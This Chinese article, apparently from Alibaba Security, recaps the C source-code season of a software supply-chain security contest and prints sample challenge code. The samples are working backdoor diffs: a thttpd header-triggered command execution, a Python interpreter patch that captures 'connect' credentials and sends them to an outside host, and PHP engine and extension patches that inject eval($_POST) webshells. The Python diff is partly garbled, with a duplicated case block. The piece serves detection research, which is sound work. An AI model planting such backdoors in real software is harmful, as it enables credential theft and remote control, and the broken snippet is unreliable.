「功守道」軟體供應鏈安全大賽·C原始碼賽季啓示錄

背景


軟件供應鏈安全,這可以說是一個新近人造的概念熱詞。泛泛來講,如今的軟件系統中任何一方都不是孤立的;套用到企業的場景,就有了供應鏈的概念。

以典型互聯網企業為例。線上生產環境所依賴的操所繫統,配套的基礎軟件,是最基礎設施,這方面RedHat、Linux的開原生態、Oracle等底層平臺供應者是供應鏈上游,企業是下游;而每個企業都有大量的PC端、移動端等通過各式渠道分發的客戶端軟件,很多企業近些年開始有對開源界的貢獻,這些軟件、代碼運行在終端設備上,這裡企業是上游,客戶是下游。類似的二元關係可以用來定義如今這個行業的所有鏈路。

沒有一條鏈路,是我們能夠自信完整掌控的;對此的隱憂,在之前或許只是杞人憂天,但如今卻已真實來到面前。且看外部關注點,面對過去兩年事件頻發的看似獨立的情況,在RSA上已經將軟件供應鏈安全作為問題拋出。孤立的事件我們總可以依靠事件響應來應對,這樣至少我們不會比別人更容易成為眾矢之的;但沿著這個思路考慮下去,我們還能不能相信RedHat、開源社區的那些作為基石的操作系統環境?能不能相信大量存在的Java三方包?能不能相信每個員工工作電腦上安裝每一個任意渠道而來的軟件?甚至於在互聯網快速迭代的大環境下,那些開發者們從GitHub上借鑑來的代碼是不是被埋入了源碼級的特洛伊木馬?

這一切都未知。隱患其實已經發展成了何種真實風險,未知。最致命的是問題完全發散,任何針對已知來收斂問題的嘗試都很可笑。沒有任何一方在此中有任何優勢。誰先捅開這個龐雜問題,都無異於打開潘多拉的盒子。

但盒子總會被打開;看熱鬧甚至先在軟件供應鏈整體崩壞進程中悶聲作大死的,都將自食其果;而阿里安全,就決定做這樣的角色,振臂高呼讓大家知道黑盒子裡的可能有多麼可怕的惡魔,然後在糾集起防護力量的同時,慢慢地打開盒子。

C源碼賽季:混沌初開

「功守道」軟件供應鏈安全大賽·C源代碼賽季啟示錄

作為最先掌握對這個問題進行定義話語權的一方,阿里安全有責任登足夠高,望足夠遠。結合我們的思考,將軟件供應鏈安全的龐大、混沌虛空,劃分為“軟件供應鏈生產者”與“軟件供應鏈消費者”的兩儀乾坤,並抽象出“四象”戰場:C源代碼,Java源代碼,PE二進制,APK二進制。其中事關企業最生死攸關的三個場景——生產線上環境、產品開發生態、辦公終端設備,我們選取對應的C源代碼、Java源代碼、PE二進制,設計了本次首屆軟件供應鏈安全比賽。

作為頭陣,需要緊盯最攸關生死的角度,因此設計為C源代碼賽季,背景場景圍繞生產系統環境展開。誠然,我們不能僅僅從已經發生過的安全事件上謹慎地延展出問題域,但試圖一步到位定義完整的未知威脅,又容易讓人對威脅的真實性產生質疑。而恰逢發稿前,一例新鮮出爐的安全事件,“後知後覺”地向大家證明了問題的嚴峻,這事件是在Gentoo Linux發行版的GitHub代碼倉庫上爆出的(完整信息和進展請見官方頁面Github/2018-06-28):

身份未知的黑客獲取了Gentoo組織GitHub的控制權,移除了Gentoo開發者的權限,並對代碼倉庫內容作了大量篡改,其中最主要的惡意行為是替換惡意ebuild文件,以試圖刪除目標系統所有文件。Gentoo組織的GitHub被短暫凍結,在清除了已知被入侵的時間段內提交的代碼後重新開放。

暫且不論該事件中惡意攻擊者是否可能有更隱蔽的攻擊方式、實踐中Gentoo官方處理是否可能有所遺漏,僅僅該事件關鍵點本身,即可作為一種全新的威脅類型。從一開始我們對比賽第一個賽季的設計場景,即恰好抽象、覆蓋了這樣的情形:

考慮一個私有的軟件倉庫,包含有二百餘個Linux基礎組件的代碼項目,由所有者組織維護並存在大量二次開發。倉庫歷史上可能存在被蓄意入侵併成功隱藏,或存在可繞過的代碼提交機制甚至內鬼,導致代碼被蓄意投毒汙染,植入有後門的可能。

比賽中,由出題方提供大量已知後門類惡意代碼,巧妙混入載體開源代碼中;解題方自行探索、歸納惡意行為的知識,並利用現有或針對性開發的靜態代碼掃描引擎,予以排查。

#define:對可能的場景與威脅進行定義

僅僅定義了戰場還不夠。如前文所述,軟件供應鏈安全的風險,無論是攻擊面還是攻擊方式,是完全發散的,真正的威脅永遠來自未知。但完全天馬行空,作為比賽無法進行,需要我們給定一個全局框架,劃定攻防活動的範圍,以及潛在可能的打擊方式,供出題者(攻擊方)窮盡這個空間內所有可能的攻擊向量;進而,對應的解題方(防守方)才有跡可循,針對部分已知類型訓練對更大未知威脅的應對方式:無論是自行擴充專家經驗知識庫,還是基於行為自動學習的人工智能方案。

惡意行為範疇定義

C賽季最終共實施3場分站賽。為了比賽當中,攻防雙方逐步對抗升級,我們將比賽對於系統與基礎軟件代碼的惡意行為嵌入檢測,在惡意行為維度,按照行為組成,劃分為如下三類,分別對應三場比賽:

  • 5月19日第一場分站賽為單點惡意行為對抗。題目覆蓋所有考點清單的惡意行為類型中,全部僅“單點即惡意”類型特徵。例如,部分系統和應用的數據文件與配置文件,僅應當由特定的應用,或程序經由特定的API合法訪問,直接訪問這些文件即為足夠判定非法。
  • 6月2日第二場分站賽為二階段惡意行為對抗。題目覆蓋清單中,全部僅可以描述為二階段聯合的惡意行為,即從時間上看,可分為時序上的“上游行為”和“下游行為”。上下游行為之間一般應具有數據相關性,且數據相關性本身可作為出題點(如誘導誤報)的一部分考慮。
  • 6月23日第三場分站賽為複合(多階段與開放性)惡意行為對抗。題目側重於不在之前兩場分站賽所覆蓋的範圍內的題目,如需要更多階段聯合組成的惡意行為的定義與檢測。更重要的是,本輪中添加了一部分進階題目,即惡意代碼充分結合載體的已有功能、API調用等進行混淆,並更結合載體代碼邏輯完成惡意行為。

在以上定義之下,我們給出瞭如下的允許(基礎)惡意行為分類清單,作為比賽對抗當中的基本設計原則。同時這些也是我們認為的潛在危害最大、存在可能性最高、掃描檢出可行性最大的部分。*標註為單點確定性惡意行為,**標註為二階段惡意行為中的上游或下游行為,#標註為複合惡意行為。顯然有該三類行為,前者自動為後者成員。

* 敏感信息異常採集。針對生產環境,最大的威脅不是造成應用執行異常,而是在無形中洩漏關鍵敏感數據,包括可能造成機器控制權喪失的系統相關配置數據,關鍵的應用存儲的用戶數據等,包括:

o 口令與秘鑰類型文件直接操作 *

o 系統敏感配置文件繞過API直接讀取 *

o 典型服務端應用敏感配置文件直接讀取 *

o 系統賬戶操作歷史相關信息讀取 **

o 典型服務端應用管理賬戶和用戶數據讀取 **

o 系統一般描述性信息採集 **

o 軟件供應鏈上游特定資源數據探測、獲取和洩漏(如源碼遍歷洩漏) #

* 關鍵數據篡改。任何需要在生產環境上,修改、寫入數據或代碼從而實現惡意打擊的行為,我們統一歸納到這一類裡面,較為泛化,主要包括:

o 覆蓋、篡改或插入口令秘鑰類型文件用以賬戶植入 *

o 系統、用戶環境變量和關鍵配置文件修改 **

o 自動執行腳本/用戶操作歷史篡改 **

o 典型服務端應用配置文件和關鍵數據文件繞過API方式篡改 *

o 系統/典型應用重要位置的腳本/可執行文件置換 **

o 開發、測試等環境系統默認工具鏈篡改替換 *

o 開發、測試等環境特定類型源文件/資源文件篡改汙染 #

* 不可信數據傳入渠道。以上兩者重點考察了隱形的軟件供應鏈本地惡意行為。在涉及到網絡和交互的場景下,通過從供應鏈上進行汙染,一種比較直接且有持續後效的惡意行為就是撕開一個口子,供後續入侵進場,包括:

o 下載敏感類型文件到臨時目錄 **

o 關鍵可執行文件(系統應用/關鍵服務端應用/關鍵庫)下載/釋放 **

o 網絡傳入指令/地址類型數據且無校驗執行/訪問 *

* 不可信信息外傳渠道。對應於上面的傳入。敏感數據的採集後,需要搭配對應的下游傳出才能形成完整惡意行為鏈路,常規可能的渠道形式分為兩類:

o 上游數據未脫敏形式的網絡傳出(TCP/UDP/ICMP) **

o 上游數據未脫敏形式的本地確定位置落盤 **

* 其它典型木馬後門行為。在上述行為框架之外,在生產環境上具有非單純破壞效果的惡意行為,劃分為此類,包括但不限於:

o 鍵盤hook等輸入監控行為 *

o 網絡劫持行為 *

o 全局掛鉤注入行為 **

o 遠程控制 #

假定目標應用環境定義

以上所列的無差別軟件供應鏈潛在攻擊面,除Linux系統基礎軟件和應用之外,本次比賽還將若干類企業典型生產環境、開發測試集成環境的主流應用納入到考察範圍內;為了將發散的潛在威脅源頭收斂、保證攻守方在比賽框架下的對等,比賽限定在以下假定的目標應用類型和實例。

重點需要強調的概念是,在作為軟件供應鏈汙染可以達成的惡意攻擊,汙染者與攻擊面是兩個獨立的範疇:攻擊者完全可以將惡意行為汙染嵌入到一個基礎軟件中,實現對另外一套系統的打擊。以下應用環境,並非是指在這些基礎應用自身代碼中進行汙染;而是指在應用代碼中插入代碼、以這些服務端基礎應用攻擊面為對象的惡意行為。

* 軟件供應鏈消費端

o web服務器應用: Apache,Nginx,Tomcat

o 數據存儲類應用

  • * SQL數據庫:MySQL,PostgreSQL
  • * NoSQL:Redis,Memcache

o 加密與認證中間件:OpenSSL

o 雲服務基礎設施:Docker,virsh

* 軟件供應鏈生產端

o 代碼倉庫:GitLab,Subversion

o 代碼審查與缺陷管理:Gerrit,JIRA

o 持續集成、構建:Travis,Jenkins

o 持續發佈、部署:Ansible,Puppet

形式與內容

整個比賽設置的基本形式是國內前所未有的攻防模式。通過對外公開招募,形成了具有紅藍對抗關係的兩支隊伍:出題隊(藍軍)與解題隊(紅軍)。

藍軍由高校CTF戰隊、業界安全公司、互聯網企業安全團隊等不同背景人員分別組隊,共5支,出於保護目的,暫時不公開這些隊伍的具體身份。藍軍在我們限定的攻擊面和惡意行為類型的粗放範疇之下,儘可能釋放腦洞,從多種角度和維度,編寫包含有惡意行為的代碼片段,並將這些惡意代碼片段插入到隨機或選定的開源基礎軟件項目代碼中。

紅軍主要由源代碼安全掃描專業的公司、高校研究團隊、高校CTF戰隊背景人員組隊而來,實際參與比賽的約8到13支隊伍。比賽中守方可使用任何方案,對拿到的一組題目進行分析,從近乎海量的代碼當中定位到嵌入並巧妙隱藏的惡意代碼片段。最主流、被提倡的方案為基於語法語義的白盒源碼掃描,需要參賽隊具有相關技術沉澱及工具研發成果與能力,並針對我們前期釋放出的惡意行為考察範疇,自行補充專家知識庫,定製掃描規則和方案。

當然仍需要說明的是,這些題目本身的合理性,是建立於這些惡意代碼在龐大而開放的開源軟件領域存在的可能性。而這些代碼的引入有很多可能的渠道:惡意的上游代碼貢獻者蓄意引入;攻擊者在對上游開發環境甚至源碼倉庫入侵後巧妙隱藏了痕跡的源碼汙染;在私有源上對基礎軟件二次開發過程中的內鬼作祟,等等。相比之下,前文提到的Gentoo GitHub入侵篡改時間只能算作一次略顯倉促的汙染試水。這些渠道不在我們設計場景的考慮範圍內,只需要知道這些情況的可能性,即可以意識到這些問題的嚴峻程度。

困獸:經典賽題示例


「功守道」軟件供應鏈安全大賽·C源代碼賽季啟示錄

本節將從三輪共計約600道題目中,選取若干道(組)最具有代表性、新穎性甚至讓人不寒而慄的題目,來展示出題隊攻擊思維的冰山一角。

在此需要特別強調:本文中所列舉的所有惡意代碼,僅用於彰顯那些當前有安全人員可能想到的惡意行為;考慮到真正的威脅永遠源於未知,這些題目所搭載的惡意行為類型,實質上在曝光的同時就已經失去最大威脅,但由於信息不對等,在真實場景仍然可能會被利用。所以所有讀者需要在閱讀同時,需要保證絕不會將這裡的思路,以及由此延展出的思維用於真實場景。

#1:thttpd後門陷阱

從基礎軟件或應用上面入手,穩定可控的後門是最佳選擇。而在一個無關應用中突兀地出現網絡連接,隱蔽性總歸很差;在thttpd當中,以很袖珍的代碼實現穩定的後門,是這裡首先要呈現的一個題目。

在thttpd項目,惡意代碼嵌入到libhttpd.c文件中,上下游惡意代碼相關上下文:

*** /thttpd/libhttpd.c

--- malware/libhttpd.c

*************** httpd_parse_request( httpd_conn* hc )

*** 2102,2107 ****

--- 2102,2113 ----

cp += strspn( cp, " \t" );

hc->useragent = cp;

}

+ else if ( strncasecmp( buf, "TE:", 3 ) == 0)

+ {

+ cp = &buf[3];

+ cp += strspn( cp, " \t");

+ hc->hs->cgi_pattern = cp;

+ }

else if ( strncasecmp( buf, "Host:", 5 ) == 0 )

{

cp = &buf[5];

*************** cgi_child( httpd_conn* hc )

*** 3560,3565 ****

--- 3566,3576 ----

#endif /* HAVE_SIGSET */

/* Run the program. */

+ if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 )

+ {

+ binary = argp[1];

+ argp++;

+ }

(void) execve( binary, argp, envp );

/* Something went wrong. */

後門會根據http頭判斷是否開啟cgi功能,並根據http頭Accept-Language決定解析執行文件的路徑。上述代碼段中,首先通過http頭TE:設置開啟cgi功能(對應上述代碼中,httpd_parse_request函數中插入的else if ( strncasecmp( buf, "TE:", 3 ) == 0) {...}代碼塊)。而下游代碼同樣巧妙,指定特殊的Accept-Language: en;q=1.1決定是否執行指定的系統命令(即cgi_child函數插入的if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 ) {...}代碼塊)。

本例惡意行為的主要特點:

* 該後門的嵌入,新增代碼量極小(共7行),巧妙借用了thttpd處理用戶請求、cgi的原本邏輯,借用了execve的調用,沒有任何新增的API調用等行為,可以躲避有意識的行為特徵匹配檢測。

* 該後門在代碼中的插入,分佈在了存在邏輯關聯的上下游兩個位置,在源代碼分析領域,屬於過程間代碼掃描問題,對於基於語義的源代碼靜態掃描方案也提出了很高的要求。

#2:Python上帝之手

對生產環境上運行的任意程序獲取控制、檢查、按需洩漏的權力,很難做的輕量、了無痕跡,總會有鮮明的行為特徵被人察覺;但是針對解釋執行類型的語言,只需要在解釋器上稍動手腳,就可以實現四兩撥千斤的效果。本次比賽有兩隻出題隊不約而同地採用了這個思路,分別在Python和Lua解釋器上實現了巧妙的汙染來實現非破壞性的定向攻擊,此處以Python為例展示。

惡意行為完整代碼,嵌入到了Python/symtable.c文件中的多個位置,完整的新增內容如下:

*** /Python3.6.6rc1/Python/symtable.c

--- malware/symtable.c

***************

*** 4,9 ****

--- 4,16 ----

#include "symtable.h"

#include "structmember.h"

+ static int PyArglen;

+ static int PyCurpos;

+ #define PyMaxpos 512

+ static char PyBuffer[PyMaxpos];

+ static int

+ symtable_visit_Dynamic(struct symtable *st, expr_ty e);

+

/* error strings used for warnings */

#define GLOBAL_AFTER_ASSIGN \

"name '%U' is assigned to before global declaration"

*************** symtable_visit_stmt(struct symtable *st,

*** 1386,1391 ****

--- 1393,1403 ----

static int

symtable_visit_expr(struct symtable *st, expr_ty e)

{

+ PyObject *s, *n;

+

+ int iN , iNN[4];

+ char* cS , *tS;

+

if (++st->recursion_depth > st->recursion_limit) {

PyErr_SetString(PyExc_RecursionError,

"maximum recursion depth exceeded during compilation");

*************** symtable_visit_expr(struct symtable *st,

*** 1465,1470 ****

--- 1477,1489 ----

VISIT_SEQ(st, expr, e->v.Compare.comparators);

break;

case Call_kind:

+ if (e->v.Call.func->kind == Name_kind)

+ {

+ if (_PyUnicode_EqualToASCIIString(e->v.Call.func->v.Name.id, "connect"))

+ {

+ PyArglen = e->v.Call.args->size;

+ }

+ }

VISIT(st, expr, e->v.Call.func);

VISIT_SEQ(st, expr, e->v.Call.args);

VISIT_SEQ_WITH_NULL(st, keyword, e->v.Call.keywords);

*************** symtable_visit_expr(struct symtable *st,

*** 1478,1485 ****

--- 1497,1532 ----

VISIT_SEQ(st, expr, e->v.JoinedStr.values);

break;

case Constant_kind:

+ break;

case Num_kind:

+ if (PyArglen > 0)

+ {

+ n = e->v.Num.n;

+ iN = PyLong_AsLong(n);

+ sprintf(iNN,"%d",iN);

+ if (PyCurpos + strlen(iNN) < PyMaxpos - 1)

+ {

+ memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));

+ PyCurpos += strlen(iNN);

+ PyBuffer[PyCurpos++] = '|';

+ }

+ PyArglen--;

+ }

+ break;

case Str_kind:

+ if (PyArglen > 0)

+ {

+ n = e->v.Num.n;

+ iN = PyLong_AsLong(n);

+ sprintf(iNN,"%d",iN);

+ if (PyCurpos + strlen(iNN) < PyMaxpos - 1)

+ {

+ memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));

+ PyCurpos += strlen(iNN);

+ PyBuffer[PyCurpos++] = '|';

+ }

+ PyArglen--;

+ }

+ break;

case Str_kind:

+ if (PyArglen > 0)

+ {

+ s = e->v.Str.s;

+ cS = PyUnicode_DATA(s);

+ if (PyCurpos + strlen(cS) < PyMaxpos - 1)

+ {

+ memcpy(PyBuffer + PyCurpos, cS, strlen(cS));

+ PyCurpos += strlen(cS);

+ PyBuffer[PyCurpos++] = '|';

+ }

+ PyArglen--;

+ }

+ break;

case Bytes_kind:

case Ellipsis_kind:

case NameConstant_kind:

*************** symtable_visit_expr(struct symtable *st,

*** 1517,1522 ****

--- 1565,1578 ----

VISIT_SEQ(st, expr, e->v.Tuple.elts);

break;

}

+

+ if (PyArglen == 0 && PyCurpos > 0)

+ {

+ PyCurpos = 0;

+ symtable_visit_Dynamic(st, e);

+ memset(PyBuffer, 0, PyMaxpos);

+ }

+

VISIT_QUIT(st, 1);

}

*************** symtable_visit_dictcomp(struct symtable

*** 1787,1789 ****

--- 1843,1861 ----

e->v.DictComp.key,

e->v.DictComp.value);

}

+

+ static int

+ symtable_visit_Dynamic(struct symtable *st, expr_ty e)

+ {

+ const char *PyMod = {

+ "try:\n"

+ " from urllib import parse,request\n"

+ " urltxt = parse.urlencode({'pymod':'%s'})\n"

+ " url='https://www.pythondevorg.org/dev' + '?' + urltxt\n"

+ " res = request.urlopen(request.Request(url = url))\n"

+ "except Exception as e:\n"

+ " pass"

+ };

+ PyRun_SimpleStringFlags(PyUnicode_DATA(PyUnicode_FromFormat(PyMod, PyBuffer)), NULL);

+ return 0;

+ }

Python應用代碼中常見地通過定義一個名為connect函數,傳入host\port\\user\pwd或者協議字符串進行服務請求,如ssh或數據庫連接,所以,在這個攻擊題目實例中,在Python解釋器源代碼層面進行汙染篡改,實現偷取名為connect函數調用時這些敏感參數。

實現邏輯如下: 1. 在Python表達式語法樹遍歷過程中,判斷方法表達式Call_kind名稱是否為connect,是的話進行標記,之後偷參數; 2. 取出該函數的參數個數,並且截取該函數傳入的數字、字符串參數保存起來; 3. 當表達式語法樹遍歷結束後,利用事先準備好的Python源碼模板,格式化得到完整Python代碼; 4. 動態注入Python代碼執行後續傳出操作,使用項目原生PyRun_SimpleStringFlags函數。

在這個示例中,邪惡點在兩方面最為突出:

* 惡意行為的嵌入基於對載體(Python)的充分了解,充分利用載體自有的邏輯和API功能來實現完整的攻擊行為,由此具有對人工審核和工具檢測的繞過能力;

* 目標出其不意,具有極強的針對性,從源代碼層面下手,一方面在此思路上可以擴展出來的其它攻擊目標和方式很多,另一方面使得獨立於載體的攻擊代碼(如數據洩漏傳出)可以很自然地得以執行。

#3:php雙子

接下來呈現的是兩道獨立的題目。在規則確保不同出題隊完全互不通氣、思路保密的前提下,兩支出題隊伍不約而同地選取了php作為攻擊目標載體;但是切入點、攻擊方式、實現效果又完全不同,充分體現了在軟件供應鏈安全這個範疇內,問題的發散和多樣性。

惡意php1

其中的一道題目簡單直接,在引擎層面動手腳,惡意代碼注入在main/main.c文件中:

*** php-src/main/main.c

--- malware/main.c

*************** PHPAPI int php_stream_open_for_zend_ex(c

*** 1388,1397 ****

&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD

#endif

&& php_stream_mmap_possible(stream)

! && (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_SHARED_READONLY, &mapped_len)) != NULL) {

handle->handle.stream.closer = php_zend_stream_mmap_closer;

handle->handle.stream.mmap.buf = p;

! handle->handle.stream.mmap.len = mapped_len;

handle->type = ZEND_HANDLE_MAPPED;

} else {

handle->handle.stream.closer = php_zend_stream_closer;

--- 1388,1405 ----

&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD

#endif

&& php_stream_mmap_possible(stream)

! && (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_READWRITE, &mapped_len)) != NULL) {

!

! char* data = "\\x3c\\x3f\\x70\\x68\\x70\\x20\\x40\\x65\\x76\\x61\\x6c\\x28\\x24\\x5f\\x50\\x4f\\x53\\x54\\x5b\\x27\\x32\\x6c\\x69\\x76\\x65\\x27\\x5d\\x29\\x3b\\x20\\x3f\\x3e\\x0a";

! int data_len = strlen(data);

! int i = len;

! for (; i > -1 ; i --) {

! p[i + data_len] = p[i];

! }

! memcpy(p, data, data_len);

handle->handle.stream.closer = php_zend_stream_mmap_closer;

handle->handle.stream.mmap.buf = p;

! handle->handle.stream.mmap.len = data_len + len;//mapped_len;

handle->type = ZEND_HANDLE_MAPPED;

} else {

handle->handle.stream.closer = php_zend_stream_closer;

在php腳本被加載到內存之後,zend引擎解析php腳本之前,修改php源碼中代碼設置mmap內存的屬性為可寫,然後竄改內存中的腳本代碼,在腳本第一行插入一個一句話木馬,POST的key是2live。

惡意php2

另一道思路劍走偏鋒,切入點選擇在了官方默認擴展date中,處在文件ext/date/php_date.c:

*** ext/date/php_date.c

--- malware/php_date.c

*************** static void _php_date_tzinfo_dtor(zval *

*** 708,713 ****

--- 708,716 ----

/* {{{ PHP_RINIT_FUNCTION */

PHP_RINIT_FUNCTION(date)

{

+ zval *p;

+ zval *bd;

+

if (DATEG(timezone)) {

efree(DATEG(timezone));

}

*************** PHP_RINIT_FUNCTION(date)

*** 715,720 ****

--- 718,739 ----

DATEG(tzcache) = NULL;

DATEG(last_errors) = NULL;

+ zend_is_auto_global_str("\\x5f\\x50\\x4f\\x53\\x54", sizeof("\\x5f\\x50\\x4f\\x53\\x54") - 1);

+

+ p = zend_hash_str_find(&EG(symbol_table), ZEND_STRL("\\x5f\\x50\\x4f\\x53\\x54"));

+ if (p == NULL || Z_TYPE_P(p) != IS_ARRAY) {

+ return SUCCESS;

+ }

+

+ bd = zend_hash_str_find(Z_ARRVAL_P(p), ZEND_STRL("\\x62\\x34\\x64\\x30\\x30\\x72"));

+ if (bd == NULL) {

+ return SUCCESS;

+ }

+

+ if (Z_TYPE_P(bd) == IS_STRING) {

+ zend_eval_string(Z_STRVAL_P(bd), NULL, (char *)"" TSRMLS_CC);

+ }

+

return SUCCESS;

}

/* }}} */

部署後,若HTTP POST請求參數中存在“b4d00r”,用PHP內核的zend_eval_string函數執行b4d00r中的代碼。這樣的後門類型更難以被日常監控檢測到;更重要的是,這裡代表了一個類型的攻擊面,即各類應用框架下的插件體系:對於支持第三方貢獻插件的部分主流系統,部分仍然存在有完全開放、缺乏審查或開發者鑑權的問題,這留下了很大的做文章的空間。

#4:全面戰爭

以上我們列舉了針對生產環境上,主流服務端應用的本體進行汙染、篡改和攻擊的幾個實例。這可能給讀者留下這樣的印象:雖然惡意代碼本身會通過融入原有代碼邏輯、調用項目自有API等方式來實現自身的隱蔽,但對於這些關鍵應用進行細緻的審核檢查,甚至於人工分析,只要其源碼是可用的,那麼總能夠保證這些應用的可信。可惜,這樣的樂觀,不存在的。

在系統和所有基礎軟件都來源於不完全可信來源(沒錯,即便是開源軟件貢獻者也不能稱為可信,沒有人是天使)的假設下,對特定服務端應用的汙染、竊取、篡改和攻擊,完全可以從任意方面發起。以下不列舉相關惡意代碼和上下文,簡單列舉幾個這樣的實例:

* 通過在一個系統基礎組件krb5當中,插入惡意代碼實現IAT HOOK,針對OpenSSL系統組件,在目標調用棧環境中,劫持BN_rand方法使得生成的偽隨機數恆固定為特定數值,且使得EC_KEY_generate_key方法與DH_generate_key方法生成始終可預測的橢圓曲線秘鑰;這樣進而達到OpenSSH的服務端sshd在接受客戶端ssh連接時,握手秘鑰可掌握,從而能夠直接獲取會話秘鑰,輔以其它簡單的方案,就能夠使得所謂加密信道的數據完全可被監聽洩漏。

* 針對處於後臺的開發編譯機器環境。先判斷是否是真機Android源碼編譯開發環境,如果是虛擬機不執行惡意代碼,如果是真機,監聽本地端口下載編譯工具,進行編譯鏈工具或開發標準庫的替換,從而實現在源頭進行軟件供應鏈上游的持續、全面汙染。

* 在任何可能存在目錄遍歷、文件操作的載體代碼上下文中,搭車進行特定資產類型文件的遍歷搜索,如特定的代碼、文檔、數據庫類型文件,賬戶秘鑰和系統信息相關的配置文件,特定服務端應用(如Nginx,git等,見上一節中所列舉的目標攻擊面服務端應用列表)的關鍵配置和數據文件等,並予以外傳。

以上類型不勝枚舉,且均具有兩個特徵:功能實現代碼體量很小,方便隱藏;對載體項目上下文基本不挑剔,所以可以嵌入到任何有被執行條件的開源載體工程中。這些行為甚至可以是看上去“很low”的行為,即便不針對源代碼掃描的各種方案進行有目的性的反檢測,一旦混入龐雜的開源項目代碼中,就完全無從分析——畢竟若假定全部基礎軟件和組件都不可信的話,那麼即便是針對少數幾種已知的惡意行為類型,使用源代碼掃描工具編寫特定的檢測規則、全量掃描,也是一件很難保證高準確率、低誤報率的工作,更何況請不要忘記在第一篇文章中我們提出的前提:最致命的是問題完全發散,任何針對已有知識來收斂問題的嘗試都很可笑。

功守:面對虛無的對抗


「功守道」軟件供應鏈安全大賽·C源代碼賽季啟示錄

安全行業從來不是一個攻守雙方旗鼓相當的領域,攻擊技巧相對於防守體系而言始終擁有很大的槓桿。從這一角度講,本次比賽中思路奪人的藍軍固然是明星,而參與解題的紅軍破題者,更是代表出路和希望。

從最終結果來看,按客觀評價百分制,三輪分站賽加權求總分,前五強隊伍得分分佈如下:

「功守道」軟件供應鏈安全大賽·C源代碼賽季啟示錄

整體而言,通過後臺對各個參賽隊提交答案的規律統計和分析,這樣的解題結果超出預期,又引人思考:

  • 研究方向覆蓋靜態源代碼分析的高校與科研機構,在比賽公佈考察範圍後能夠迅速構建起響應的知識庫,過程中始終領跑全場比賽,並獲得了及格線以上分數。作為源碼分析的解決方案,即便是針對非軟件供應鏈後門類型的其它新問題門類,考慮到普遍較高的誤報率等固有問題,這樣的分數足以判定為優秀。
  • 在校學生與感興趣的個人參賽者,在不具備充分的背景和資源的前提下,仍然獲得了1/3以上題目分數。通過對提交歷史的分析,我們初步判斷這幾支隊伍在初期嘗試進行人工分析積累經驗後,也針對這一類問題進行了工具自動化發掘的實踐,這達到了我們“啟發業界思考”的初衷。
  • 儘管如此,在第三輪所設置的進階題目(具有更強的安全背景考察,邏輯隱蔽性更強;形式上多采用跨函數、跨過程的代碼插入方案)面前,所有隊伍均無搶眼表現,這似乎表明軟件工程方法論與安全知識的結合努力仍有空間,這也是長遠看的發力點。

想必業界對於這些參賽隊伍的思路、工具和成果,都有著濃厚的興趣。此處先賣個關子:這些紅軍隊伍的思路,我們將在8月22日的北京,阿里巴巴2018網絡安全生態峰會的分論壇——軟件供應鏈大賽研討會暨決賽階段啟動儀式上,邀請這些勝出隊伍代表進行分享,敬請期待!

未來已來:PE二進制賽季開戰


至此,我們完整的『功守道』軟件供應鏈安全大賽,在預選賽階段,剛剛完成約1/3。大賽完整的時間線如下圖所示;而其中從7月開始,我們將馬上實施大賽第二賽季——Windows PE二進制程序賽季(簡稱PE賽季)。

「功守道」軟件供應鏈安全大賽·C源代碼賽季啟示錄

相比C源代碼的攻防,PE二進制上面的安全風險與對抗,歷史安全事件更多、更觸目驚心,不論是XShell汙染,還是CCleaner投毒,抑或針對集成開發環境插件生態的汙染,都是領域內耳熟能詳,卻又缺乏系統性關聯分析的熱點,也更能夠起安全從業者和愛好者的興趣。針對這些繁雜的事件,我們對主要風險做了抽象,該賽季由此設置場景如下:

IT企業員工工作電腦環境複雜且無法收口:安裝軟件來源往往跳出白名單,而魚龍混雜的下載服務往往包藏禍心;遑論即便是開放軟件的提供商,也可能存在被入侵併在二進制文件層面植入惡意代碼的情形,導致潛在的官方不可信,亟需二進制審查,或源碼-二進制等價證明。

對於給定的二進制文件,你將採用靜態還是動態的方法去掃描或測試?針對對照組是否有能力通過同源性判斷察覺異樣?這是道開放題目。

在這個更貼近每個互聯網企業從業者實際,符合安全圈從業者的興趣口味的題目設計賽季,我們將期望能夠收穫更廣泛的關注、影響力,更多讓人拍案叫絕的惡意代碼攻擊思路,以及更讓人歎為觀止的防守者解題方案。這裡歡迎所有安全技術興趣者持續關注到該賽季的過程中;也希望對於比賽的賽制形式和細節有見解建議的同學能夠協助我們將比賽的價值發揮到極致。

PE賽季的基礎概念題目,請到這裡下載。更多比賽相關概念題目、信息和動態,歡迎訪問比賽官網(https://softsec.security.alibaba.com/)瞭解,或掃描下方二維碼加入群組,與來自阿里安全和該領域其它玩家一起切磋。PE賽季本週開賽,7月7日測試賽,7月21日第一場分站賽,報名通道保持開啟,只等你來!


分享到:


相關文章: